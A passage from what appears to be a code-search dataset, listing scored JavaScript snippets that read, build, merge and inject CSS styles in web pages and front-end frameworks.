"d9ec75c46b49a52c2e61acfc6b359797", "score": "0.5514924", "text": "_createStylesForDimension(numDimension) {\n\t\t/*let arrNameStyle = MapCssStyle.arrSuffixNameStyle.map(suffixNameStyle => this.nameParamItem + \"_dimension_\" + String(numDimension) + \"_\" + suffixNameStyle);\n\t\tlet arrStyle = arrNameStyle.map(nameStyle => getStyleFromClass(nameStyle, this.elemContainerItem));\n\t\tlet [styleStart, styleMiddle, styleEnd] = arrStyle;\n\t\tconst setDefaultValuesOfProps = new Set([undefined, '', 'initial', 'inherit', 'unset', 'normal', 'none', 'auto']); // '', initial, unset, normal, auto -> none\n\t\tarrStyle[0] = filterObj(styleStart, (nameProp, valProp) => {\n\t\t\tlet isEqualMiddleAndEndValProp = (styleEnd[nameProp] == valProp) && (styleMiddle[nameProp] == valProp) ;\n\t\t\tif (isEqualMiddleAndEndValProp) {\n\t\t\t\tdelete styleMiddle[nameProp];\n\t\t\t\tdelete styleEnd[nameProp];\n\t\t\t}// else if (setDefaultValuesOfProps.has(styleMiddle[nameProp]))\n\t\t\t//\tdelete styleMiddle[nameProp];\n\t\t\treturn !isEqualMiddleAndEndValProp;\n\t\t});\n\t\t//if (styleStart.transform != undefined) {\n\t\t\tfor (const style of arrStyle) {\n\t\t\t\tlet arrTransform;\n\t\t\t\tlet cssTransformMatrix = style.transform;\n\t\t\t\tconsole.log(\"cssTransformMatrix:\", cssTransformMatrix);\n\t\t\t\tif (cssTransformMatrix != \"none\")\n\t\t\t\t\tarrTransform = cssTransformMatrix.split('(')[1].split(')')[0].split(',').map(v => parseFloat(v));\n\t\t\t\t//if (!arrTransform || !arrTransform.length) arrTransform = [1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];\n\t\t\t\tif (arrTransform && arrTransform.length)\t\n\t\t\t\t\tstyle.mrxTransform = new Matrix3d(arrTransform);\n\t\t\t\tconsole.log(\"arrTransform:\", arrTransform)\n\t\t\t\tdelete style.transform;\n\t\t\t}\n\t\t\t\n\t\t//}\t\t\n\t\t\n\t\tfor (const [i, nameStyle] of arrNameStyle.entries())\n\t\t\tMapCssStyle.set(nameStyle, arrStyle[i]);\n\t\t*/\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t/*let arrExistingMrxTransform = arrStyle.mrxTransform.map((val, i) => {value: val, index: i}).filter((val) => (val.value != undefined));\n\t\tif (arrExistingMrxTransform.length) { \n\t\t\tif (arrExistingMrxTransform.length > 1) {\n\t\t\tlet arrMrxTransformInterpolation = Array.from(new Array(arrExistingMrxTransform.length - 1), (currVal, i) => ({mrxInterpolation: new MatrixInterpolation(arrExistingMrxTransform[i].value, arrExistingMrxTransform[i + 1].value), fractionFinish: arrExistingMrxTransform[i + 1].index}));\n\t\n\t\t\n\t\tthis.stylesForRendering = {};\n\t\tfor (const suffixNameStyle of MapCssStyle.arrSuffixNameStyle)\n\t\t\tthis.stylesForRendering[suffixNameStyle] = MapCssStyle.get(this.nameParamItem + \"_dimension_\" + String(0) + \"_\" + suffixNameStyle);\t\n\t\t\n\t\tlet arrExistingMrxTransform = MapCssStyle.arrSuffixNameStyle.map(suffixNameStyle => this.stylesForRendering[suffixNameStyle].mrxTransform).filter((currVal) => (currVal != undefined));\n\t\tif (arrExistingMrxTransform.length) { \n\t\t\tif (arrExistingMrxTransform.length > 1) {\n\t\t\t\tlet arrMrxTransformInterpolation = Array.from(new Array(arrExistingMrxTransform.length - 1), (currVal, i) => new MatrixInterpolation(arrExistingMrxTransform[i], arrExistingMrxTransform[i + 1]));\n\t\t\t\tlet fractionStep = 0;\n\t\t\t\tlet mrxTransformInterpolation;\n\t\t\t\tconst rangeForOneInterpolation = 1 / arrMrxTransformInterpolation.length;\n\t\t\t\tlet intervalAnimTransformMatrix = setInterval(() => {\n\t\t\t\t\tif (fractionStep >= 0.999) {\n\t\t\t\t\t\tconsole.log(\"uu:\", arrExistingMrxTransform.length - 1, arrExistingMrxTransform[arrExistingMrxTransform.length - 1].toString())\n\t\t\t\t\t\tthis.elemAnim.style.transform = arrExistingMrxTransform[arrExistingMrxTransform.length - 1].toString();\n\t\t\t\t\t\tclearInterval(intervalAnimTransformMatrix);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlet numInterpolation = Math.floor(fractionStep / rangeForOneInterpolation);\n\t\t\t\t\t\tconsole.log(numInterpolation, fractionStep , rangeForOneInterpolation)\n\t\t\t\t\t\tmrxTransformInterpolation = arrMrxTransformInterpolation[numInterpolation];\n\t\t\t\t\t\tthis.elemAnim.style.transform = mrxTransformInterpolation.step((fractionStep % rangeForOneInterpolation) * arrMrxTransformInterpolation.length).toString();\n\t\t\t\t\t\tconsole.log(\"this.elemAnim.style.transform:\", this.elemAnim.style.transform);\n\t\t\t\t\t\tfractionStep += 0.1;\n\t\t\t\t\t}\n\t\t\t\t}, 1000);\n\t\t\t} else this.elemAnim.style.transform = arrExistingMrxTransform[0].toString();\n\t\t}*/\n\t\t\t\n\t\t//setTimeout(() => console.log(\"ssdd:\", this.elemContainerItem.offsetHeight), 1000);\n\t\t/*window.addEventListener(\"scroll\", () => {\n\t\t\tconsole.log(\"ssdd:\", this.elem.getBoundingClientRect(), this.elem.offsetLeft, this.elem.offsetTop)\n\t\t});*/\n\t}", "title": "" }, { "docid": "d9c1cb4eab1d79a3c86da981bb3e838f", "score": "0.55084383", "text": "function renderInitialStylesAndClasses(element, context, renderer) {\n var initialClasses = context[3 /* InitialClassValuesPosition */];\n renderInitialStylingValues(element, renderer, initialClasses, true);\n var initialStyles = context[2 /* InitialStyleValuesPosition */];\n renderInitialStylingValues(element, renderer, initialStyles, false);\n}", "title": "" }, { "docid": "d9c1cb4eab1d79a3c86da981bb3e838f", "score": "0.55084383", "text": "function renderInitialStylesAndClasses(element, context, renderer) {\n var initialClasses = context[3 /* InitialClassValuesPosition */];\n renderInitialStylingValues(element, renderer, initialClasses, true);\n var initialStyles = context[2 /* InitialStyleValuesPosition */];\n renderInitialStylingValues(element, renderer, initialStyles, false);\n}", "title": "" }, { "docid": "e685520f917dae67da1bbba0f4f38396", "score": "0.547245", "text": "function clone_style(element, keys) {\n var i=0, len = keys.length, style = element.computedStyles(), clean = {}, key;\n\n for (; i < len; i++) {\n key = keys[i];\n\n if (key in style) {\n clean[key] = ''+ style[key];\n\n // libwebkit bug fix for in case of languages pack applied\n if (key === 'opacity') {\n clean[key] = clean[key].replace(',', '.');\n }\n }\n }\n\n return clean;\n}", "title": "" }, { "docid": "8e9821be7cbbb4d1b0e9455b598df56c", "score": "0.5442976", "text": "function normalizeStyles() {\n var src = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n src[_i - 0] = arguments[_i];\n }\n var dest = {};\n for (var i = 0; i < src.length; i++) {\n copyStyles(dest, src[i]);\n }\n return sortKeys(dest);\n}", "title": "" }, { "docid": "8f1cb611b0f4dc4fb93ebd78b8760aa8", "score": "0.5426008", "text": "createOuterStyle() {\n const outerStyles = document.createElement('style');\n outerStyles.innerHTML = this.outerStyles;\n document.head.insertAdjacentElement('beforeend', outerStyles);\n }", "title": "" }, { "docid": "2fffbebb35673556e30f880a9c9a3314", "score": "0.53783244", "text": "generateStylesDOMContainer() {\n const styleBlock = window.document.createElement('style');\n styleBlock.type = 'text/css';\n styleBlock.id = 'pretty';\n window.document.head.appendChild(styleBlock);\n return styleBlock;\n }", "title": "" }, { "docid": "54c935dfdf948cea0ef020def478d73a", "score": "0.53670895", "text": "function _constructFinalProps(defaultStyles, theme) {\n var allProps = [];\n for (var _i = 2; _i < arguments.length; _i++) {\n allProps[_i - 2] = arguments[_i];\n }\n var finalProps = {};\n var classNames = [];\n for (var _a = 0, allProps_1 = allProps; _a < allProps_1.length; _a++) {\n var props = allProps_1[_a];\n classNames.push(props && props.className);\n Object(_utilities__WEBPACK_IMPORTED_MODULE_4__[\"assign\"])(finalProps, props);\n }\n finalProps.className = Object(_uifabric_merge_styles__WEBPACK_IMPORTED_MODULE_2__[\"mergeCss\"])([defaultStyles, classNames], { rtl: Object(_uifabric_utilities__WEBPACK_IMPORTED_MODULE_3__[\"getRTL\"])(theme) });\n return finalProps;\n}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "7b7b5c0f1638932280be11a27d06edc7", "score": "0.5366915", "text": "function i(t){return getComputedStyle(t)}", "title": "" }, { "docid": "ceef34c187c78dcb89885c474a546073", "score": "0.53441733", "text": "function saveStyles() {\n var styleAttr = $html.attr( 'style' ),\n styleStrs = [],\n styleHash = {};\n\n if( !styleAttr ){\n return;\n }\n\n styleStrs = styleAttr.split( /;\\s/ );\n\n $.each( styleStrs, function serializeStyleProp( styleString ){\n if( !styleString ) {\n return;\n }\n\n var keyValue = styleString.split( /\\s:\\s/ );\n\n if( keyValue.length < 2 ) {\n return;\n }\n\n styleHash[ keyValue[ 0 ] ] = keyValue[ 1 ];\n } );\n\n $.extend( prevStyles, styleHash );\n }", "title": "" }, { "docid": "b2d0fc56f90b0bf6e1831f75c539a9c8", "score": "0.534099", "text": "function convertToStaticStyles(stylesArray) {\n var result = [];\n stylesArray.forEach(function(v, i, a){\n var style='';\n if (v.stylers.length > 0) { // Needs to have a style rule to be valid.\n style += (v.hasOwnProperty('featureType') ? 'feature:' + v.featureType : 'feature:all') + '|';\n style += (v.hasOwnProperty('elementType') ? 'element:' + v.elementType : 'element:all') + '|';\n v.stylers.forEach(function(val, i, a){\n var propertyname = Object.keys(val)[0];\n var propertyval = val[propertyname].toString().replace('#', '0x');\n style += propertyname + ':' + propertyval + '|';\n });\n }\n result.push('style='+encodeURIComponent(style));\n });\n\n return result.join('&');\n}", "title": "" }, { "docid": "e48bf0052eab691c0a433b6df2684a64", "score": "0.5340766", "text": "function inject_all_remaining_styles()\n {\n var fs, cssText = '';\n while ( styles_not_injected.length !== 0 )\n {\n fs = styles_not_injected.shift();\n if ( cssText.length !== 0 )\n {\n cssText += '\\r\\n';\n }\n cssText += funcyStyle.getText(fs);\n }\n if ( cssText.length !== 0 )\n {\n funcyStyle.injectStyle(cssText);\n }\n }", "title": "" }, { "docid": "5cb1c4bbec8233f785080e4408393157", "score": "0.53407454", "text": "static getStyles() {\n return __hook__(() => {\n return __hook__('#.', this, ['styles'], __90693844b86f4d9de9bee5c9026eefe73aa20a0dcf4c48ca6c0898a0743e76a8__[9]);\n }, null, arguments, __90693844b86f4d9de9bee5c9026eefe73aa20a0dcf4c48ca6c0898a0743e76a8__[9]);\n }", "title": "" }, { "docid": "e9aeaedfa8ad0b6ae4fbae6d00acab0c", "score": "0.5340009", "text": "styles() {\n return null;\n }", "title": "" }, { "docid": "8c5c912d091a2fc150cebc0570036f5d", "score": "0.53379774", "text": "function updateInitialStylingOnContext(context, tNode, initialStyling, isClassBased) {\n // `-1` is used here because all initial styling data is not a apart\n // of a binding (since it's static)\n var COUNT_ID_FOR_STYLING = -1;\n var hasInitialStyling = false;\n for (var i = 1 /* ValuesStartPosition */; i < initialStyling.length; i += 2 /* TupleSize */) {\n var value = getMapValue(initialStyling, i);\n if (value) {\n var prop = getMapProp(initialStyling, i);\n registerBinding(context, tNode, COUNT_ID_FOR_STYLING, 0, prop, value, false, isClassBased);\n hasInitialStyling = true;\n }\n }\n if (hasInitialStyling) {\n patchConfig(tNode, 256 /* hasInitialStyling */);\n }\n}", "title": "" }, { "docid": "b2d6bbab2ad9e5257386fa0cb129510f", "score": "0.53353304", "text": "getStyles() {\n if (!this.props.children) {\n return []\n }\n\n return [{\n key: this.props.key,\n data: this.props.children,\n style: ensureSpring(this.props.atActive),\n }]\n }", "title": "" }, { "docid": "114004fe9e7f18a087fb2732a53a88a8", "score": "0.5323339", "text": "static initialize() {\n const styleSheet = this.getInstance();\n for (const key in this.prototype) {\n // Just hit the getter to instantiate the style\n if (!styleSheet[key]) {\n console.log(\"This is here to prevent a bundling optimization bug\");\n }\n }\n }", "title": "" }, { "docid": "8b6ebf228b7f6439510fa2beb2dfa518", "score": "0.53101873", "text": "function fillStyleStrings(tag, newColor) {\n\n tag.styleChanges = _.map(tag.styleChanges, function(styleChange) {\n\n return styleChange.format(newColor);\n });\n\n return tag;\n }", "title": "" }, { "docid": "f5753ee5c9422bb4b39e2af45f92cc9b", "score": "0.5295774", "text": "function getStyle (style) {\n const defaultClass = 'Text'\n\n if (!style) {\n return defaultClass\n } else {\n const otherStyles = style.split(',').map(modifier => `Text--${modifier}`).join(' ')\n return `${defaultClass} ${otherStyles}`\n }\n}", "title": "" }, { "docid": "24720d589a5094dc447f11916598b092", "score": "0.52877706", "text": "function c(t){return getComputedStyle(t)}", "title": "" }, { "docid": "72f9d447f4ac5f9e2c6b99d616ce0aa6", "score": "0.5285857", "text": "get styles() {\n return this._styles;\n }", "title": "" }, { "docid": "08ea48bfe1ad54c4d272a035a293da51", "score": "0.52847475", "text": "_setOrigStyles(elm) {\n\t\tthis.styles.original.display \t\t\t= elm.style.display;\n\t\tthis.styles.original.position \t\t\t= elm.style.position;\n\t\tthis.styles.original.border \t\t\t= elm.style.border;\n\t\tthis.styles.original.top \t\t\t\t= elm.style.top;\n\t\tthis.styles.original.left \t\t\t\t= elm.style.left;\n\t\tthis.styles.original.right \t\t\t\t= elm.style.right;\n\t\tthis.styles.original.bottom \t\t\t= elm.style.bottom;\n\t\tthis.styles.original.width \t\t\t\t= elm.style.width;\n\t\tthis.styles.original.height\t\t\t\t= elm.style.height;\n\t\tthis.styles.original.backgroundColor\t= elm.style.backgroundColor;\n\t\tthis.styles.original.color\t\t\t\t= elm.style.color;\n\t\tthis.styles.original.zIndex \t\t\t= elm.style.zIndex;\n\t\tthis.styles.original.marginLeft \t\t= elm.style.marginLeft;\n\t\tthis.styles.original.marginTop \t\t\t= elm.style.marginTop;\n\t\tthis.styles.original.marginRight \t\t= elm.style.marginRight;\n\t\tthis.styles.original.marginBottom \t\t= elm.style.marginBottom;\n\t}", "title": "" }, { "docid": "02a590c215d4b174295ae21338de73d1", "score": "0.52838665", "text": "function createStylingContextTemplate(initialClassDeclarations, initialStyleDeclarations, styleSanitizer, onlyProcessSingleClasses) {\n var initialStylingValues = [null];\n var context = createEmptyStylingContext(null, styleSanitizer, initialStylingValues);\n // we use two maps since a class name might collide with a CSS style prop\n var stylesLookup = {};\n var classesLookup = {};\n var totalStyleDeclarations = 0;\n if (initialStyleDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialStyleDeclarations.length; i++) {\n var v = initialStyleDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var prop = v;\n if (hasPassedDeclarations) {\n var value = initialStyleDeclarations[++i];\n initialStylingValues.push(value);\n stylesLookup[prop] = initialStylingValues.length - 1;\n }\n else {\n totalStyleDeclarations++;\n stylesLookup[prop] = 0;\n }\n }\n }\n }\n // make where the class offsets begin\n context[4 /* ClassOffsetPosition */] = totalStyleDeclarations;\n var initialStaticClasses = onlyProcessSingleClasses ? [] : null;\n if (initialClassDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialClassDeclarations.length; i++) {\n var v = initialClassDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var className = v;\n if (hasPassedDeclarations) {\n var value = initialClassDeclarations[++i];\n initialStylingValues.push(value);\n classesLookup[className] = initialStylingValues.length - 1;\n initialStaticClasses && initialStaticClasses.push(className);\n }\n else {\n classesLookup[className] = 0;\n }\n }\n }\n }\n var styleProps = Object.keys(stylesLookup);\n var classNames = Object.keys(classesLookup);\n var classNamesIndexStart = styleProps.length;\n var totalProps = styleProps.length + classNames.length;\n // *2 because we are filling for both single and multi style spaces\n var maxLength = totalProps * 4 /* Size */ * 2 + 8 /* SingleStylesStartPosition */;\n // we need to fill the array from the start so that we can access\n // both the multi and the single array positions in the same loop block\n for (var i = 8 /* SingleStylesStartPosition */; i < maxLength; i++) {\n context.push(null);\n }\n var singleStart = 8 /* SingleStylesStartPosition */;\n var multiStart = totalProps * 4 /* Size */ + 8 /* SingleStylesStartPosition */;\n // fill single and multi-level styles\n for (var i = 0; i < totalProps; i++) {\n var isClassBased_1 = i >= classNamesIndexStart;\n var prop = isClassBased_1 ? classNames[i - classNamesIndexStart] : styleProps[i];\n var indexForInitial = isClassBased_1 ? classesLookup[prop] : stylesLookup[prop];\n var initialValue = initialStylingValues[indexForInitial];\n var indexForMulti = i * 4 /* Size */ + multiStart;\n var indexForSingle = i * 4 /* Size */ + singleStart;\n var initialFlag = prepareInitialFlag(prop, isClassBased_1, styleSanitizer || null);\n setFlag(context, indexForSingle, pointers(initialFlag, indexForInitial, indexForMulti));\n setProp(context, indexForSingle, prop);\n setValue(context, indexForSingle, null);\n setPlayerBuilderIndex(context, indexForSingle, 0);\n var flagForMulti = initialFlag | (initialValue !== null ? 1 /* Dirty */ : 0 /* None */);\n setFlag(context, indexForMulti, pointers(flagForMulti, indexForInitial, indexForSingle));\n setProp(context, indexForMulti, prop);\n setValue(context, indexForMulti, null);\n setPlayerBuilderIndex(context, indexForMulti, 0);\n }\n // there is no initial value flag for the master index since it doesn't\n // reference an initial style value\n var masterFlag = pointers(0, 0, multiStart) |\n (onlyProcessSingleClasses ? 16 /* OnlyProcessSingleClasses */ : 0);\n setFlag(context, 3 /* MasterFlagPosition */, masterFlag);\n setContextDirty(context, initialStylingValues.length > 1);\n if (initialStaticClasses) {\n context[6 /* PreviousOrCachedMultiClassValue */] = initialStaticClasses.join(' ');\n }\n return context;\n}", "title": "" }, { "docid": "d1477f2be9d528a81535f26ee3eeceae", "score": "0.52786046", "text": "function styleString(styleInfo) {\n const o = [];\n for (const name in styleInfo) {\n const v = styleInfo[name];\n if (v || v === 0) {\n o.push(`${Object(__WEBPACK_IMPORTED_MODULE_1__polymer_polymer_lib_utils_case_map_js__[\"a\" /* camelToDashCase */])(name)}: ${v}`);\n }\n }\n return o.join('; ');\n}", "title": "" }, { "docid": "714bbbe4269771d7f14b77cf5f01d32a", "score": "0.5276617", "text": "function on(t){var A=ln(t.style);// static style is pre-processed into an object during compilation\n// and is always a fresh object, so it's safe to merge into it\nreturn t.staticStyle?M(t.staticStyle,A):A}// normalize possible array / string values into Object", "title": "" }, { "docid": "394b885b41f16a0f47691b3051235f3b", "score": "0.5269494", "text": "function saveStyles() {\n\t\t\tvar styleAttr = $html.attr( 'style' ),\n\t\t\t\tstyleStrs = [],\n\t\t\t\tstyleHash = {};\n\t\n\t\t\tif( !styleAttr ){\n\t\t\t\treturn;\n\t\t\t}\n\t\n\t\t\tstyleStrs = styleAttr.split( /;\\s/ );\n\t\n\t\t\t$.each( styleStrs, function serializeStyleProp( styleString ){\n\t\t\t\tif( !styleString ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\n\t\t\t\tvar keyValue = styleString.split( /\\s:\\s/ );\n\t\n\t\t\t\tif( keyValue.length < 2 ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\n\t\t\t\tstyleHash[ keyValue[ 0 ] ] = keyValue[ 1 ];\n\t\t\t} );\n\t\n\t\t\t$.extend( prevStyles, styleHash );\n\t\t}", "title": "" }, { "docid": "7cd8c22ed17adbeaf505daf28d570180", "score": "0.525695", "text": "function allocTStylingContext(initialStyling, hasDirectives) {\n initialStyling = initialStyling || allocStylingMapArray(null);\n return [\n DEFAULT_TOTAL_SOURCES,\n initialStyling,\n ];\n}", "title": "" }, { "docid": "d2d2bbd5ba42882939182260404a7bec", "score": "0.5255744", "text": "_createCombinedStylesObject () {\n this._combinedStyles = {\n [this._defaultStyleName]: this._stylesObject\n }\n\n for (let prop in this._variationsObject) {\n this._combinedStyles[prop] = this._variationsObject[prop]\n }\n\n this._needsProcessing = Utils.objectHasFunctions(this._combinedStyles)\n }", "title": "" }, { "docid": "baa340fa8fcdf0f6dbfa8e6b5f236c11", "score": "0.52518046", "text": "function getElementDefaultStyle(elementName) {\n var style = findExistingDefaultStyle(elementName);\n if (style == null) {\n // create element;\n var s = createDefaultStyle(elementName);\n style = { name: elementName, style: s };\n defaultStyleList.push(style);\n }\n return style.style;\n}", "title": "" }, { "docid": "107f7dee942d7c0f6b426ed43d5774c8", "score": "0.5250735", "text": "createStyle(){\n let st = '',\n rules = [];\n this.items.forEach((it, i) => {\n st += '.bbn-slideshow .slideswitch:target ~ .bbn-slideshow-slide#' + (this.name + i.toString()) + ' .bbn-slideshow-content{opacity: 0}';\n st += '.bbn-slideshow .slideswitch[id=\"' + this.name + i.toString() + '\"]:target ~ .bbn-slideshow-slide#' + this.name + i.toString() + ' .bbn-slideshow-navigation {display: block !important;}';\n st += '.bbn-slideshow .slideswitch[id=\"' + this.name + i.toString() + '\"]:target ~ .bbn-slideshow-slide#' + this.name + i.toString() + ' .bbn-slideshow-content {animation-name: bbn-slideshow-effect-fade_in; animation-duration: 0.5s;}';\n if ( it.animation ){\n st += '.bbn-slideshow .slideswitch[id=\"' + this.name + i.toString() + '\"]:target ~ #' + this.name + i.toString() + ' .bbn-slideshow-effect-' + it.animation + ' {animation-name: bbn-slideshow-effect-' + it.animation + ' !important;animation-duration: ' + (it.duration || this.duration || '0.5') + 's;' + ( it.animation === 'flip' ? 'backface-visibility: hidden;' : '')+ '}';\n }\n });\n return st;\n }", "title": "" }, { "docid": "0daa3244914e6afffe8382e5ec583f12", "score": "0.524925", "text": "function _getStyleEl() {\n if (styleEl === undefined) {\n styleEl = document.createElement('style');\n styleEl.innerHTML = require('mui.min.css');\n }\n\n return styleEl;\n}", "title": "" }, { "docid": "5ac0dbf5ecd6ae24217111f25d9857db", "score": "0.5245276", "text": "function flattenStyleValues(style) {\n return Object.keys(style).reduce(function (newStyle, key) {\n var val = style[key];\n if (Array.isArray(val)) {\n if (exenv__WEBPACK_IMPORTED_MODULE_2___default.a.canUseDOM) {\n // For the **browser**, when faced with multiple values, we just take\n // the **last** one, which is the original passed in value before\n // prefixing. This _should_ work, because `inline-style-prefixer`\n // we're just passing through what would happen without ISP.\n\n val = val[val.length - 1].toString();\n } else {\n // For the **server**, we just concatenate things together and convert\n // the style object values into a hacked-up string of like `display:\n // \"-webkit-flex;display:flex\"` that will SSR render correctly to like\n // `\"display:-webkit-flex;display:flex\"` but would otherwise be\n // totally invalid values.\n\n // We convert keys to dash-case only for the serialize values and\n // leave the real key camel-cased so it's as expected to React and\n // other parts of the processing chain.\n val = val.join(';' + Object(_camel_case_props_to_dash_case__WEBPACK_IMPORTED_MODULE_5__[/* camelCaseToDashCase */ \"a\"])(key) + ':');\n }\n }\n\n newStyle[key] = val;\n return newStyle;\n }, {});\n}", "title": "" }, { "docid": "a3c64f73a8806e7113d793e5e0bb6afc", "score": "0.5244667", "text": "static getStyles() {\n return this.styles;\n }", "title": "" }, { "docid": "b7bdfe3cc15746d8c33ee2d166cb36df", "score": "0.52443796", "text": "function CalendarPopup_getStyles() {\n\tvar result = \"\";\n\tresult += \"<STYLE>\\n\";\n\tresult += \"TD.cal { font-family:arial; font-size: 8pt; }\\n\";\n\tresult += \"TD.calmonth { font-family:arial; font-size: 8pt; text-align: right;}\\n\";\n\tresult += \"TD.caltoday { font-family:arial; font-size: 8pt; text-align: right; color: white; background-color:#C0C0C0; border-width:1; border-type:solid; border-color:#800000; }\\n\";\n\tresult += \"A.todaylink { font-family:arial; font-size: 8pt; height: 20px; color: black; }\\n\";\n\tresult += \"A.cal { text-decoration:none; color:#000000; }\\n\";\n\tresult += \"A.calthismonth { text-decoration:none; color:#000000; }\\n\";\n\tresult += \"A.calothermonth { text-decoration:none; color:#808080; }\\n\";\n\tresult += \"</STYLE>\\n\";\n\treturn result;\n\t}", "title": "" }, { "docid": "4019d5656105371d10d3a081f105a990", "score": "0.5240152", "text": "function createStyleProperty(el) {\n var style = el.style;\n var output = {};\n for (var i = 0; i < style.length; ++i) {\n var item = style.item(i);\n output[item] = String(style[item]);\n // hack to workaround browser inconsistency with url()\n if (output[item].indexOf('url') > -1) {\n output[item] = output[item].replace(/\\\"/g, '');\n }\n }\n return {\n name: 'style',\n value: output\n };\n }", "title": "" }, { "docid": "762dd40071df75b1e45b6d4b93363b00", "score": "0.52367383", "text": "function createCssString(){\n\n var css = '';\n\n for (var id in cssRules){\n\n css += cssRules[id];\n }\n\n return css;\n }", "title": "" }, { "docid": "b3065775187c88b9f47d4a75b11719e5", "score": "0.5231729", "text": "function getCalendarStyles() {\n\tvar result = \"\";\n\tvar p = \"\";\n\tif (this!=null && typeof(this.cssPrefix)!=\"undefined\" && this.cssPrefix!=null && this.cssPrefix!=\"\") { p=this.cssPrefix; }\n\tresult += \"<STYLE>\\n\";\n\tresult += \".\"+p+\"cpYearNavigation,.\"+p+\"cpMonthNavigation { background-color:#C0C0C0; text-align:center; vertical-align:center; text-decoration:none; color:#000000; font-weight:bold; }\\n\";\n\tresult += \".\"+p+\"cpDayColumnHeader, .\"+p+\"cpYearNavigation,.\"+p+\"cpMonthNavigation,.\"+p+\"cpCurrentMonthDate,.\"+p+\"cpCurrentMonthDateDisabled,.\"+p+\"cpOtherMonthDate,.\"+p+\"cpOtherMonthDateDisabled,.\"+p+\"cpCurrentDate,.\"+p+\"cpCurrentDateDisabled,.\"+p+\"cpTodayText,.\"+p+\"cpTodayTextDisabled,.\"+p+\"cpText { font-family:arial; font-size:8pt; }\\n\";\n\tresult += \"TD.\"+p+\"cpDayColumnHeader { text-align:right; border:solid thin #C0C0C0;border-width:0px 0px 1px 0px; }\\n\";\n\tresult += \".\"+p+\"cpCurrentMonthDate, .\"+p+\"cpOtherMonthDate, .\"+p+\"cpCurrentDate { text-align:right; text-decoration:none; }\\n\";\n\tresult += \".\"+p+\"cpCurrentMonthDateDisabled, .\"+p+\"cpOtherMonthDateDisabled, .\"+p+\"cpCurrentDateDisabled { color:#D0D0D0; text-align:right; text-decoration:line-through; }\\n\";\n\tresult += \".\"+p+\"cpCurrentMonthDate, .cpCurrentDate { color:#000000; }\\n\";\n\tresult += \".\"+p+\"cpOtherMonthDate { color:#808080; }\\n\";\n\tresult += \"TD.\"+p+\"cpCurrentDate { color:white; background-color: #C0C0C0; border-width:1px; border:solid thin #800000; }\\n\";\n\tresult += \"TD.\"+p+\"cpCurrentDateDisabled { border-width:1px; border:solid thin #FFAAAA; }\\n\";\n\tresult += \"TD.\"+p+\"cpTodayText, TD.\"+p+\"cpTodayTextDisabled { border:solid thin #C0C0C0; border-width:1px 0px 0px 0px;}\\n\";\n\tresult += \"A.\"+p+\"cpTodayText, SPAN.\"+p+\"cpTodayTextDisabled { height:20px; }\\n\";\n\tresult += \"A.\"+p+\"cpTodayText { color:black; }\\n\";\n\tresult += \".\"+p+\"cpTodayTextDisabled { color:#D0D0D0; }\\n\";\n\tresult += \".\"+p+\"cpBorder { border:solid thin #808080; }\\n\";\n\tresult += \"</STYLE>\\n\";\n\treturn result;\n\t}", "title": "" }, { "docid": "00d33573444e651637e04a1fb33e6eee", "score": "0.5224151", "text": "function syncContextInitialStyling(context, tNode, isClassBased) {\n // the TStylingContext always has initial style/class values which are\n // stored in styling array format.\n updateInitialStylingOnContext(context, tNode, getStylingMapArray(context), isClassBased);\n}", "title": "" }, { "docid": "feec07d5c854d6b623db4984eb7f2c76", "score": "0.52194625", "text": "function patchInitialStylingValue(initialStyling, prop, value, directiveOwnerIndex) {\n for (var i = 2 /* KeyValueStartPosition */; i < initialStyling.length; i += 3 /* Size */) {\n var key = initialStyling[i + 0 /* PropOffset */];\n if (key === prop) {\n var existingValue = initialStyling[i + 1 /* ValueOffset */];\n var existingOwner = initialStyling[i + 2 /* DirectiveOwnerOffset */];\n if (allowValueChange(existingValue, value, existingOwner, directiveOwnerIndex)) {\n addOrUpdateStaticStyle(i, initialStyling, prop, value, directiveOwnerIndex);\n }\n return;\n }\n }\n // We did not find existing key, add a new one.\n addOrUpdateStaticStyle(null, initialStyling, prop, value, directiveOwnerIndex);\n}", "title": "" }, { "docid": "4409eff004b27be7e5e933b86c793529", "score": "0.521762", "text": "createCnt() {\n\t\tlet tmpDiv = document.createElement(\"div\");\n\t\ttmpDiv.innerHTML = this.template;\n\t\t/** @type {HTMLElement} */\n\t\tlet cnt = tmpDiv.firstElementChild;\n\t\tlet style = this.config.style || Object.create(null);\n\t\tfor (let key in style) {\n\t\t\tcnt.style[key] = style[key];\n\t\t}\n\t\treturn cnt;\n\t}", "title": "" }, { "docid": "bb4b90bef22a87a0df8575912d5417b0", "score": "0.5212575", "text": "_getComponentStyle (data) {\n const staticClassNames = (typeof data.staticClass === 'string') ? data.staticClass.split(' ') : (data.staticClass || [])\n const classNames = (typeof data.class === 'string') ? data.class.split(' ') : (data.class || [])\n const clsNms = staticClassNames.concat(classNames)\n const style = this._getScopeStyle(clsNms)\n const res = extend(style, data.staticStyle, data.style)\n return res\n }", "title": "" }, { "docid": 